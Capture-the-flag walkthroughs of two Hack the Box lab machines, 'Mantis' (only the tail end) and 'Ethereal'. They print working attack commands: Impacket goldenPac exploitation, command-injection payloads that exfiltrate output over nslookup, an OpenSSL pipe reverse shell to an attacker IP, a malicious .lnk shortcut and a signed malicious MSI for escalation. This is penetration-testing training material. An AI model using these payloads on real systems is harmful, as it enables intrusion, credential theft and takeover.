[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/05/08 06:22:22 Starting gobuster
=====================================================
/secure_notes (Status: 301)

As result, I found a directory /secure notes

Here I saw two files dev_notes and web.config among these I’m interested in dev_notes test file to let’s open it.

When I open a dev_notes text file I read following contents as shown in below image and realize that it points towards a database “orcharddb” have “admin” as username, now I only need to know the required password for login into the database.

To me, the file “/dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt” was looking suspicious as “NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx” was base 64 encoded, therefore, I need to decode this text for the correct assumption of getting the password.

root@kali:~/htb/mantis# curl http://10.10.10.52:1337/secure_notes/dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt
1. Download OrchardCMS
2. Download SQL server 2014 Express ,create user "admin",and create orcharddb database
3. Launch IIS and add new website and point to Orchard CMS folder location.
4. Launch browser and navigate to http://localhost:8080
5. Set admin password and configure sQL server connection string.
6. Add blog pages with admin user.

Credentials stored in secure format
OrchardCMS admin creadentials 010000000110010001101101001000010110111001011111010100000100000001110011011100110101011100110000011100100110010000100001
SQL Server sa credentials file namez

dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt contains some base64-encoded text.

root@kali:~/htb/mantis# echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d
6d2424716c5f53405f504073735730726421

This looks like a hex string. Let’s convert it to ASCII:

root@kali:~/htb/mantis# echo 6d2424716c5f53405f504073735730726421 | xxd -r -p
m$$ql_S@_P@ssW0rd!

After decoding the above hex text finally I found a password for admin user.

Using mssqlclient.py we are going to connect to ms SQL server . Now let login into the database using database name and above-found credential via port 1433

root@kali:~/htb/mantis# ./mssqlclient.py htb.local/admin@10.10.10.52
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

Password: m$$ql_S@_P@ssW0rd!
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208) 
[!] Press help for extra shell commands
SQL> select @@version
Microsoft SQL Server 2014 - 12.0.2000.8 (X64) 
Feb 20 2014 20:04:26 
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)
SQL> SELECT name FROM master..sysdatabases
master 
tempdb 
model 
msdb 
orcharddb 
SQL> use orcharddb
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: orcharddb
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed database context to 'orcharddb'.
SQL> SELECT COLUMN_NAME 'All_Columns' FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='blog_Orchard_Users_UserPartRecord '
Id 
UserName 
Email 
NormalizedUserName 
Password 
PasswordFormat 
HashAlgorithm 
PasswordSalt 
RegistrationStatus 
EmailStatus 
EmailChallengeToken 
CreatedUtc 
LastLoginUtc 
LastLogoutUtc 
SQL> select UserName,Password from blog_Orchard_Users_UserPartRecord
admin 
AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK+lgKY6vrQuswfWHKZn2+A== 
James 
J@m3s_P@ssW0rd! 
SQL>

We had manually added target IP with htb.local and matis.htb.local the domain names which we have found through nmap in our local host file.

Then we have installed impacket from git hub as given below command.

git clone https://github.com/CoreSecurity/impacket.git

Impacket contains goldenpac python file which is used for post exploitation, now execute given below command and access the victim’s terminal.

root@kali:~/htb/mantis# goldenPac.py htb.local/james@mantis.htb.local
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

Password: J@m3s_P@ssW0rd!
[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657
[*] Attacking domain controller mantis.htb.local
[*] mantis.htb.local found vulnerable!
[*] Requesting shares on mantis.htb.local.....
[*] Found writable share ADMIN$
[*] Uploading file wGWklYmG.exe
[*] Opening SVCManager on mantis.htb.local.....
[*] Creating service AgUh on mantis.htb.local.....
[*] Starting service AgUh.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

c:\Users\james\Desktop>type user.txt
8a8*****54d

c:\Users\Administrator\Desktop>type root.txt
209*****567

Author: Jacco Straathof

HTB – Ethereal

Today we are going to solve another CTF challenge “Ethereal”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Insane

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of Access is 10.10.10.106.

Walkthrough

Let’s start off with scanning the network to find our target.

root@kali:~/htb/ethereal# nmap -sC -sV -oA nmap 10.10.10.106
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-02 13:49 EDT
Nmap scan report for ethereal.htb (10.10.10.106)
Host is up (0.11s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 172.16.249.135 is not the same as 10.10.10.106
| ftp-syst: 
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ethereal
8080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=ethereal.htb
| http-server-header: 
| Microsoft-HTTPAPI/2.0
|_ Microsoft-IIS/10.0
|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.80 seconds

. 1. Use the anonymous account Anonymous login, you can find the FDISK.zip compressed file, switch the transfer mode to binary before downloading, otherwise it is often because Network factor causes download failure

root@kali:~/htb/ethereal# wget --no-passive-ftp -m ftp://anonymous:anonymous@10.10.10.106
Ftp server

2. Unzip FDISK.zip and get an image file. After identifying with the file command, it was found to be a disk in FAT format. Use mount -t vfat /root/FDISK /mnt/htbdisk to mount the disk and extract the two files pbox.dat and pbox.exe. Install the xp virtual machine and double-click to run pbox.exe and find that this is a 16-bit application and cannot run directly.

Pbox.exe

win32.16-bit program simulator is very easy to find, DosBox is currently the most famous one, many arcade games can run, such as Prince of Persia, tank wars,enter pbox first hanging

4. This may be a version compatibility issue. Fortunately, DosBox (apt-get install dosbox) can be installed in the kali environment, but due to the Dos protection mode, a similar < no DPMI – Get csdpmi*b.zip may be reported. > error. Solution can refer to: https://www.linuxtopia.org/online_books/linux_tool_guides/the_sed_faq/sedfaq5_004.html The core of solving the problem is to download CWSDPMI.EXE and then throw it into the pbox.exe directory, you can run pbox.exe normally.

5. The password entered is password. After entering, it is a database. You can see the related content by clicking the corresponding table item, from which you can export a bunch of user name and password. The valid combination is:

user: alan
password: !C414m17y57r1k3s4g41n!

Pbox database

6. The obtained username and password can be used to log in to port 8080. This is a Test Connection page. According to the Ping Address prompt, it is not difficult to think of this as a command injection vulnerability.

8080 port login

7. The problem that needs to be solved is how to view the echo. In the Linux environment, the ping-p is commonly used, but the ping command of windows does not have the -p option, so the only thing that can be used is the nslookup command, which is combined with the tokens parameter. The result of the command, you also need to use the for loop of the cmd script to feedback the results, for example, I need to look at the second line of netstat -ano results, that is, all ip and port results, the command entered in the web is:

127.0.0.1 | for / f "tokens=2" %I in ('netstat -ano') do nslookup %I 10.10.8.20

About the for /f script loop body can be seen https://www.youtube.com/watch?v=jMS6LkMdAHI
need Note that the tokens parameter can be cascaded. For example, I want to see the 1 to 6 lines of the result. I only need to add tokens=1, 2, 3, 4, 5, 6 and the corresponding placeholder %a.%b.%c. %d.%e.%f can be as follows:
127.0.0.1 | for /f “tokens=1,2,3,4,5,6” %a in (‘type c:\xxxxx.txt’) do nslookup %a.%b.%c.%d.%e.%f 10.10.8.8
After executing command injection on the web, it is possible to start tcpdump or wireshark. Filter dns to see the command echo: (below) Running tasklist because nslookup is failing It performs 2 queries, so the results will be repeated)

Wireshark capture results

8. Enumerate the firewall rules, netsh advfirewall firewall show rule name=all is the command to view the windows firewall rules, but can not be executed normally in the RCE environment, so you need to find a writable path, dump the results into a file, and then Use the type method to retrieve the content. Usually the c:\users\public directory is the path with the lowest privilege, but the direct write is a failure. Try to use the icacls command to enumerate the directory permissions. Finally, the current user alan can be written to C:\users\public\desktop\ Shortcuts\, eventually read the firewall configuration: only TCP 73 and 136 ports are allowed to communicate.
Enumeration permissions:

On the ping page, I tried to do the ‘netsh advfirewall firewall show rule name=all’ but piping that to an nslookup will always crash the webpage, so
I did the following instead

127.0.0.1 & netsh advfirewall firewall show rule name=all|findstr "Rule Name:"|findstr "Allow" > C:\users\public\desktop\shortcuts\firewall.rulename.allow

This will generate a file called firewall.rulename.allow and it is stored in a subfolder under public, that is a folder  Ethereal\Alan has write access to).
Now we read the file using the method above, We display the firewall rule names

127.0.0.1 & for /f "tokens=1,2,3,4,5,6,7,8" %a in ('type c:\users\public\desktop\shortcuts\firewall.rulename.allow') do nslookup %a.%b.%c.%d.%e.%f.%g.%h 10.10.14.20

result:

root@kali:~/htb/ethereal# responder -I tun0
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.20]
Challenge set [random]
Don't Respond To Names ['ISATAP']

[+] Listening for events...
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.ICMP.Reply
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.ICMP.Request
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.UDP.Port.53
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.TCP.Ports.73.136
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.Port.80.8080
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.ICMP.Request
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.ICMP.Reply

Continue to search for clues in the system, use dir to retrieve the C drive, and finally find the Openssl-v1.1.0 version installed in the C:\Program Files (x86) directory, we will use it to implement the shell.
A command that displays a more complete dir result:

127.0.0.1 & cmd.exe /V /C "for /f " delims= " %e in ('DIR /B C:\') do cmd /c nslookup -querytype=A %e.a.a 10.10.14.20"

10. The CS working mode of openssl is not familiar to me, so first build the simulation environment locally, the official website https://www.openssl.org can check the command parameters, and download the source code, but there is no installation package. The installation packages for each version can be downloaded at http://slproweb.com/products/Win32OpenSSL.html . The installation process is all the way to the next.

Openssl for windows

11. On the kali side, first set up the openssl server. You need a private key and a certificate, so run the command:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
then have some Certificate information needs to be filled in, free to do it, format is no problem, such as e-mail, country shorthand
For questions about command parameters, please refer to the IBM documentation:
https://www.ibm.com/support/knowledgecenter/en/SSWHYP_4.0.0 /com.ibm.apimgmt.cmc.doc/task_apionprem_gernerate_self_signed_openSSL.html

Generate certificate

12. Using openssl’s s_client to connect to the server, the test in the simulation environment found that the work of openssl is somewhat like the nc without the -e option, what you input, what the other party displays, and can not execute the command. It is conceivable to use the pipe character to redirect input and output, that is, to redirect an openssl connection to cmd.exe via the pipe character “|”, and then use a pipe character “|” to redirect the operation result to openssl. A connection. In short:
openssl s_client 1 —->input | cmd.exe | openssl s_client 2 —->output
This is why firewall rules are going to release two ports.
The RCE command that translates to the web side is:

127.0.0.1 & START "" cmd /c "C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.20:73 | cmd.exe |C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.20:136"
Note that in the actual attack target, we have to open two terminals at the same time, one openssl server 73 and another openssl Server 136, server listening command:
openssl s_server -quiet -key key.pem -cert cert.pem -port 73
openssl s_server -quiet -key key.pem -cert cert.pem -port 136
I enter in port 73 port Command and press Enter, then submit the above RCE command on the web side to push the input into the pipeline, and view the result in the terminal of port 136.
13. After getting a low-privileged shell, we can get the next step in the c:\users\alan\Desktop path. He told us that there is a VS shortcut in the Public Desktop path, let us use it.
Lead file

14. Create  a malicious lnk shortcut  with powershell

PS C:\Users\jacco> $WScript = New-Object -ComObject 'wscript.shell'
PS C:\Users\jacco $SC = $WScript.CreateShortcut('Puckie.lnk')
PS C:\Users\jacco $SC


FullName : C:\Users\jacco\Puckie.lnk
Arguments :
Description :
Hotkey :
IconLocation : ,0
RelativePath :
TargetPath :
WindowStyle : 1
WorkingDirectory :

PS C:\pentest> $SC.TargetPath="C:\windows\system32\cmd.exe"
PS C:\pentest> $SC.Arguments="/c c:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.20:73 | cm
d c:\progra~2\openssl-v1.1.0/bin\openssl.exe s_client -connect 10.10.14.20:136"
PS C:\Users\jacco $SC

FullName : C:\Users\jacco\Puckie.lnk
Arguments : /c c:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.20:73 | cmd
c:\progra~2\openssl-v1.1.0/bin\openssl.exe s_client -connect 10.10.14.20:136
Description :
Hotkey :
IconLocation : ,0
RelativePath :
TargetPath : C:\Windows\System32\cmd.exe
WindowStyle : 1
WorkingDirectory :

PS C:\Users\jacco> $SC.Save()
PS C:\Users\jacco> dir C:\users\jacco\*.lnk

Directory: C:\users\jacco

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/4/2019 7:39 PM 1219 Puckie.lnk

The malicious shortcuts are as follows, you can see the commands that need to be executed at the shortcut target bar.

15. Upload a malicious shortcut and override c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk. Note that uploading a .lnk file directly may fail and can be renamed to a .txt suffix upload. The upload process also utilizes the pipeline, but the original connection must be disconnected first.

Kali Run: openssl s_server -quiet -key key.pem -cert cert.pem -port 73 < malicious.txt
web run: 10.10.14.20|C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.20:73 > c:\users\public\desktop\shortcuts\out.txt (note that the suffix is ​​changed after the upload is successful)
Re-establish the shell connection
shell run: del “c:\users\public\desktop \shortcuts\Visual Studio 2017.lnk” & copy “c:\users\public\desktop\shortcuts\out.lnk” “c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk”

16. Soon to get a new shell, in this shell, do not need to rely on the web, you can directly enter in 73, view the results in 136, the operation is smooth, a lot of user.txt in the jorge user desktop
User.txt

17. Continue to search. You can find that there are two suspicious folders on the D drive, one is Certs, which contains the certificate file, and the other is the DEV folder, which stores another clue file. This clue is well understood. As long as a malicious msi installation package is generated and placed in this path, the Rupal user will come to the point and combine the certificate file. This is probably to generate a signed msi.

Lead file 2

18. Direct type certificate files will be garbled and cannot be copied. At present, we do not have a download channel, so I thought of using the base64 encoding function of openssl to print out the content, the command is as follows:
C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -in MyCA.cer
C: \Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -in MyCA.pvk copies
the base64 encoded text to kali and restores it with base64 -d decoding.

Obtain a certificate

19. Generate msi, we use the graphical interface of the EMCO MSI Package Builder to operate. First create a new project, then click Custom Actions, right-click on the new Pre-Post Actions button, and fill in the key parameters to create the MSI Package. (The password is left blank)

Malicious msi generation

20. Sign the msi with the downloaded certificate. This requires .NET Framework 4 and winsdk, which can be downloaded at:
.NET Framework 4: https://www.microsoft.com/en-us/download/details.aspx?id=17851
winsdk: https: //www.microsoft.com/en-us/download/confirmation.aspx?id=8279 Once
installed, you can start signing. The commands are as follows:
makecert -n “CN=Ethereal” -pe -cy end -ic C:\MyCA.cer -iv C:\MyCA.pvk -sky signature -sv C:\hack.pvk C:\hack.cer
pvk2pfx -pvk C:\hack.pvk -spc C:\hack.cer -pfx C:\hack.pfx
signtool sign /f C:\hack.pfx C:\shell.msi
If the signature is successful, you can see the following prompt:

Successful signature

21. Upload the signed msi to d:\dev\msis\shell.msi, then exit the two openssl connections of 73 and 136 and listen to them again. In about 1 minute, the rupal user’s shell will go online. Read root.txt in his Desktop path

1cb6f1fc220e3f2fcc0e3cd8e2d9906f

22. If the deployment of msi is not successful, you need to try the second time. You must regenerate an msi and sign the upload. Because the installed msi is already registered in the system, it will not run again. You can add it from the control panel. I saw them in the removal program, but now in this environment we have no way to uninstall the msi installed before.

Author : Jacco Straathof